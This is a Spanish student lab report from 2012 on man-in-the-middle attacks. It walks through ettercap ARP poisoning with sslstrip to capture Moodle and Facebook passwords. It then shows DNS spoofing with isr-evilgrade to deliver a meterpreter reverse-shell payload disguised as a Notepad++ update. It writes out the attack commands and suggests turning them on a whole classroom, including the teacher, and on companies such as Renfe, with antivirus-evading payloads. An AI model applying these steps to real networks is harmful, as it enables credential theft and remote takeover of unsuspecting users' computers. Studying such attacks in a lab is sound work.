24
MAN IN THE MIDDLE FINAL 2012 Javier García Cambronel SEGUNDO DE ASIR 28/02/2012

Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

Embed Size (px)

DESCRIPTION

2012MAN IN THE MIDDLE FINALJavier García Cambronel SEGUNDO DE ASIR 28/02/2012[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012¿QUÉ ES EL PROTOCOLO ARP?PRÁCTICASMAQUINAS A UTILIZAR PRÁCTICA1 SACANDO CONTRASEÑA MOODLE Y FACEBOOK PRÁCTICA 2 EXPLOIT INDETECTABLE CAMUFLADOSEGUNDO DE ASIRPágina 1[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012¿QUÉ ES EL PROTOCOLO ARP?DEFINICIONEs un protocolo de nivel de red cuya función es asociar a la dirección IP su correspondiente dirección de

Citation preview

Page 1: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

MAN IN THE MIDDLE FINAL

2012

Javier García Cambronel SEGUNDO DE ASIR

28/02/2012

Page 2: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 1

¿QUÉ ES EL PROTOCOLO ARP?

PRÁCTICAS

MAQUINAS A UTILIZAR

PRÁCTICA1 SACANDO CONTRASEÑA MOODLE Y

FACEBOOK

PRÁCTICA 2 EXPLOIT INDETECTABLE CAMUFLADO

Page 3: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 2

¿QUÉ ES EL PROTOCOLO ARP?

DEFINICION

Es un protocolo de nivel de red cuya función es asociar a la dirección IP su correspondiente

dirección de red mac. El método utilizado para la obtención de la IP es mediante peticiones

de ARP. Cuando se quiere obtener la dirección mac se envía un paquete ARP request a la

dirección de multidifusión de red con la IP por la que se pregunta y espera obtener un

paquete ARP request de otra maquina con la dirección mac de esa dirección IP. Para

optimizar esto cada maquina mantiene una cache con las direcciones traducidas esto lo

llamaremos tablas ARP.

EJEMPLOS: COMPORTAMIENTO DE LOS PAQUETES

EN LA MISMA RED

Si queremos enviar un paquete de “A” a “B” que se encuentra en la misma red lo primero

que hace “A” es comprobar en su tabla ARP si se encuentra la dirección MAC de “B” si es así

se utiliza si no se enviara el correspondiente paquete broadcast esperando la respuesta de la

maquina cuya dirección IP corresponda con la preguntada añadiendo un nuevo registro a la

tabla. Estas entradas se borran cada cierto tiempo.

DESDE FUERA DE LA RED

En un segundo caso si “A” quiere enviar un paquete a “B” que no esta en su misma red lo

que hace “A” es enviarlo a través de la dirección física de su router de salida, para ello

consulta la tabla ARP realizando el correspondiente intercambio de mensajes si dicha

entrada no se encuentra en la tabla. Una vez en el router este consulta su tabla de

encaminamiento enviando el paquete al próximo nodo y así sucesivamente hasta que le

paquete llega a un router de la red en la que se encuentre la IP destino. Una vez allí el router

se encarga de averiguar la dirección física consultando su tabla ARP o preguntando con

mensajes correspondientes.

Page 4: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 3

CAMPOS EN LOS DATAGRAMAS ARP:

Hardware protocol: 16bits. Tecnología de red empleada por debajo de TCP/IP.

Network protocol: 16 bits. Tipo de protocolo empleado a nivel 3.

Hardware address length: 8 bits. Longitud de la dirección de red de hardware.

Network address length: 8 bits. Longitud de la dirección de red IP.

Operación: 16 bits. Tipo de operación que nos da información sobre si se trata de

una petición o de una respuesta ARP.

Sender hardware address: 48 bits. Dirección física MAC. de la interfaz de red del

emisor.

Sender network address: 32 bits. Direction IP del emisor.

Target hardware address: 48 bits. Dirección física de la interfaz de red del receptor.

Target network address: 32 bits. La direction IP del receptor.

Page 5: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 4

PRÁCTICAS

MAQUINAS A UTILIZAR Y PREPARAR LA INTERFAZ

ATACANTE

La máquina atacante va a ser un backtrack 5 con la ip 192.168.1.39

Para conocer tus diversas interfaces de red si solo te aparece la interfaz “lo”, utiliza el

comando:

/sbin/ifconfig –a

Y para levantar la interfaz ejecuta el siguiente comando donde “eth0” en nuestro caso es la

interfaz.

ifconfig eth0 up

Por último para que se nos proporcione una IP hay que indicárselo

dhclient eth0

VICTIMA1

La victima número uno va a ser un Windows XP con la ip 192.168.1.37

Con Nod32 Versión 5.0 Desactualizado con fecha 19/09/2011

Page 6: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 5

VICTIMA2 WINDOWS 7 NOD32 VERSION 5 ACTUALIZADO

La victima número dos va a ser un Windows 7 con la ip 192.168.1.35

Con Nod32 versión 5 y completamente actualizado

PREPARAMOS LA MAQUINA ATACANTE

Para este cometido tendremos que instalar ettercap, lo haremos con el siguiente comando

apt-get install ettercap

Page 7: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 6

PRÁCTICA1

OBJETIVOS

1-Capturar todo el tráfico de la red de la víctima, haciendo que pase por nosotros.

2-Que todo esto sea transparente a la víctima (que siga teniendo internet, que su

firewall no detecte nada extraño…)

3-Robar la contraseña del Moodle de la víctima y de sitios con https como

FACEBOOK.

COMPROBACION VICTIMA1 ANTES DEL ATAQUE

Accedemos a una página cualquiera y vemos que navegamos perfectamente.

Ejecutaremos el siguiente comando desde la consola

arp -a

Con este comando lo que hacemos es ver la dirección del router por la que estamos

navegando y su dirección mac.

Page 8: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 7

INICIANDO EL ATAQUE SOBRE LA VICTIMA1

Para esto lo primero que hacemos será ejecutar wireshark, abrimos una terminal y

ejecutamos el siguiente comando

wireshark

Una vez ejecutado, se nos abrirá la interfaz gráfica, donde tendremos que elegir nuestra

interfaz, en mi caso la eth0.

Una vez que lo hemos ejecutado nos aparecerá la siguiente ventana, con la que podremos

analizar todo el tráfico que se realiza.

Page 9: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 8

Hacemos lo siguiente descomentar las líneas comentadas en la imagen para permitir el

redireccionamiento:

gedit /etc/etter.conf

Creamos la regla pertinente para que funcione ssltrip y redireccionar páginas https, a http

automáticamente y así capturar sus contraseñas (Facebook, twitter).

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Con el siguiente comando, hacemos que puedan salir a internet mediante nuestra maquina

todas las víctimas:

echo '1' > /proc/sys/net/ipv4/ip_forward

Comprobamos que se ha ejecutado el comando correctamente ejecutando este otro y

comprobando que el valor nos da uno.

cat /proc/sys/net/ipv4/ip_forward

Ahora ya estamos preparados para ejecutar el ataque, lo que vamos a hacer va a ser ejecutar

los siguientes comandos:

Este primero para hacer el redireccionamiento con ssltrip

sslstrip -l 10000

Y el siguiente para ejecutar la captura de los usuarios y contraseñas

ettercap -Tq -M –i eth0 arp:remote /192.168.1.37/ /192.168.1.1/

Con las siguientes opciones

-T: indica que el ataque se va a realizar desde la consola

-q: No mostrar el contenido capturado para eso utilizaremos Wireshark

-M: arp:remote selección del tipo de “mitm” que queremos realizar

Y después, las ip´s primero la de la víctima y en segundo lugar la del router.

Page 10: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 9

Una vez ejecutado el comando veremos lo siguiente la interfaz por la que estamos

escuchando.

Acto seguido nos desplazaríamos a wireshark y vemos el proceso que se lleva a cabo para

dicho engaño enviando ARP REPLAYS FALSOS

Como vemos este proceso se hace, hasta que se lleva a cabo el engaño

Page 11: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 10

VICTIMA ATACADA SACAMOS LA CONTRASEÑA DEL MOODLE

Como vemos podemos seguir navegando perfectamente entramos al moodle y escribimos

una contraseña que claramente no es la verdadera.

Como podemos ver, ya estamos capturando todo el tráfico de la victima

Y podemos ver como hemos sacado el nombre de usuario y la contraseña que habíamos

introducido

DESTACAR QUE CON EL COMANDO PERTINENTE…EN VEZ DE A UN ORDENADOR,

PODRIAMOS ATACAR A TODA LA RED Y SACAR TODAS LAS CONTRASEÑAS DE LA CLASE

INCLUIDAS LA DEL PROFESOR.

ettercap -Tq -M –i eth0 arp:remote /192.168.227.1/ //

Page 12: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 11

VICTIMA ATACADA SACAMOS LA CONTRASEÑA DE FACEBOOK

Gracias a SSLTRIP redirecciona los sitios a los que entraríamos normalmente con https a http

y así podemos sacar las contraseñas.

Y podemos ver como hemos sacado el nombre de usuario y la contraseña que habíamos

introducido

VOLVEMOS A LOS VALORES ORIGINALES

Y es que como podemos comprobar estamos navegando a través del pc atacante

Finalizaríamos el ataque simplemente pulsando la letra q dentro de la consola donde

estamos realizando el ataque, para que los valores se restauren perfectamente

Y veríamos que volveremos a navegar con la dirección Mac y a través de nuestro router

Page 13: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 12

INICIANDO EL ATAQUE SOBRE LA VICTIMA2

Ahora lo que vamos a hacer, es seguir los mismos pasos que con la victima uno, para así

poder ver las diferencias, en el caso de haberlas en el comportamiento del ataque. Para esto

se han seguido los mismos pasos, asique no los explicare detalladamente como he hecho con

la victima1.

REALIZAMOS EL ATAQUE

Vemos como el antivirus nos informa de un envenenamiento ARP, el mensaje sale, varias

veces, las veces que se intenta el envenenamiento.

Y nos aparece el siguiente mensaje después de bloquear los ataques.

Page 14: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 13

TAMBIEN TIENE SUS CONSECUENCIAS

El ataque no se llega a producir, pero tiene sus consecuencias, NOS DEJA SIN SERVICIO y es

necesario reiniciar el modem unas cuantas veces.

Y nos aparece la siguiente ventana, de que estamos conectados, pero con acceso limitado y

pese a cambiar la IP a intentar volver a hacer la conexión con Solucionar problemas de

conexión y demás el resultado es el mismo.

Page 15: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 14

PRÁCTICA 2

OBJETIVOS

1-Abrir una sesión meterpreter en la víctima

2-Emular DNS de empresas y reales en las víctimas (ETTERCAP)

3-Emular Mediante los DNS del punto anterior actualizaciones de programas, como si

fueran verdaderas y haciendo que se descargue nuestro EXPLOIT INDETECTABLE.

4-Que todo sea transparente a la víctima.

PREPARAMOS LA MÁQUINA ATACANTE

CREAMOS EL EXPLOIT

Si no tenemos nuestro exploit indetectable, lo crearemos siguiendo los pasos de la PRÁCTICA

OPTATIVA METASPLOIT INDETECTABLE, aunque podríamos utilizar cualquier payload,

siempre y cuando generáramos un archivo .exe con él, para que de esa forma pudiera ser

ejecutado en nuestra víctima.

Page 16: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 15

DEJAMOS EN ESCUCHA EL PAYLOAD

Una vez que tenemos nuestro exploit, para dejarlo a la escucha ejecutamos el siguiente

comando

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.39 LPORT=3222 E

Como vemos, ya estamos esperando a que se ejecute el archivo malicioso, para realizar el

ataque

Page 17: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 16

EJECUTAMOS ISR-EVILGRADE

Lo siguiente que tenemos que hacer es ejecutar isr-evilgrade

Una vez que lo hemos ejecutado introducimos el siguiente comando para que se carguen

todos los módulos

./evilgrade

Cada modulo imita perfectamente, con una ventana igual a la verdadera del propio

programa una actualización, solo tendríamos que elegir el módulo de un programa que

sabemos que ejecuta la víctima y si no tenemos dicho módulo podemos ver si esta

disponible para descargarlo.

Page 18: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 17

ESCOGEMOS EL PROGRAMA PARA EMULAR SUS ACTUALIZACIONES

Nosotros vamos a utilizar el módulo referente a notepadplus para ello ejecutamos el

siguiente comando.

config notepadplus

Y nos disponemos a mirar las opciones con este otro comando

show options

En las opciones nos tendremos que fijar siempre sea cual sea el modulo que utilicemos el

apartado virtualhost, pues va a ser el DNS a emular copiamos esta dirección.

Page 19: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 18

EMULAMOS EL DNS DE LA EMPRESA

Y lo siguiente que vamos a hacer es añadirla al archivo de emulación DNS de ettercap, para

este cometido ejecutamos el siguiente comando

gedit /usr/local/share/videojak/etter.dns

Y lo dejamos, como vemos en la pantalla, con el valor (dirección) que hemos copiado del

paso anterior y con la ip de nuestro ordenador (ATACANTE), una vez hecho esto, lo

guardamos.

Y ejecutamos el siguiente comando para atacar a toda la red con el plugin de DNS SPOOF el

cuál acabamos de configurar para nuestro cometido (mediante la interfaz) aunque

podríamos atacar también a ordenadores específicos.

ettercap -T -q -P dns_spoof -M arp /192.168.1.1/ // -i eth0

Page 20: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 19

INICIAMOS EL ATAQUE Hasta ahora….ya estamos actuando como DNS cuando se requiera una actualización de

Notepad, la cual siempre como en casi todos los programas, busca si hay nuevas y también

estamos esperando a que se ejecute nuestro exploit para abrir una sesión de meterpreter.

El archivo del exploit que hemos creado, lo metemos en la carpeta isr-evilgrade, como vemos

en la pantalla.

Y ahora lo que hacemos, va a ser que cuando se descargue la actualización….lo que descarge

y ejecute sea nuestro exploit, para ello seleccionamos el archivo que hemos generado para

que lo utilice isr-evilgrade, lo hacemos con el siguiente comando, donde final.exe es el

nombre del archivo.

set agent final.exe

Por último para empezar hacer el ataque escribiríamos el comando

start

Page 21: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 20

VEMOS EL EFECTO EN LA VICTIMA

Ahora desde el equipo víctima abrimos notepad++ y nos aparece la ventana de que esta

disponible una nueva actualización, es la misma ventana que sale cuando hay una

actualización real, con lo que la víctima no sospecha y dice que si, para así descargar la nueva

versión.

VEMOS EL EFECTO EN EL ATACANTE

En cuanto la víctima acepte diga que si a la actualización lo que veremos en la maquina del

atacante desde la consola donde estamos ejecutando evilgrade, será lo siguiente, todo el

proceso que se esta llevando a cabo y que le hemos enviado el archivo malicioso

Page 22: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 21

VEMOS EL EFECTO EN LA VICTIMA AL TERMINAR LA ACTUALIZACION

En la ventana de la victima todo normal, como una actualización cualquiera de notepad, con

su barrita de progreso y demás, una vez acaba la “instalación” nos dice que notepad necesita

cerrarse, para que tenga efecto la actualización asique pulsamos que Sí.

EL EFECTO EN EL ATACANTE: ABRIMOS LA SESION DE METERPRETER

Nada más pulsar sobre sí vemos que en la máquina atacante hemos abierto la sesión de

meterpreter y ya podríamos abrir una Shell, hacer el ataque permanente….lo que

quisiéramos, vemos que si hacemos un ls listamos el contenido del directorio donde se

encuentra nuestro exploit.

Page 23: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 22

Hacemos una captura de la víctima para finalizar

COMENTARIO SOBRE ESTA ÚLTIMA PRÁCTICA En la Victima2 no nos ha bloqueado el ataque pero el antivirus detecta nuestro backdoor.

Si queremos atacar a instituciones, Hay que complementar varios programas como hemos

hecho hasta ahora (Ettercap, isr-evilgrade, metasploit) y añadiríamos uno más FOCA

Nos desplazaríamos a Tools DNS Snooping

Cargaríamos el archivo, que va a ser el encargado de decirnos, que programas están pidiendo

actualizaciones en ese momento en la empresa.

El archivo en concreto es update servers.txt

Page 24: Man in the Middle: Ettercap con SSLSTRIP Sacando contraseñas Facebook,moodle... y DNSSpoofing con ISR evilgrade

[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012

SEGUNDO DE ASIR Página 23

Una vez hecho esto:

1-Escribimos el nombre del dominio, del sitio que queramos.

2-Obtenemos sus DNS.

3-Una vez obtenidos seleccionamos el que queramos, para hacer Snoop.

4-Al hacer snoop veremos todos los programas que están recibiendo actualizaciones en ese

momento, en algún ordenador de renfe, partiendo de la base de que las instalaciones de las

empresas suelen ser clónicas (mismo S.O, mismo Antivirus….), solo nos quedarían dos cosas,

mirar, de que programas podríamos emular sus actualizaciones con isr-evilgrade (En este

caso los tres del recuadro) y hacer lo mismo, para saber que antivirus están utilizando, para

así crear un exploit indetectable a este.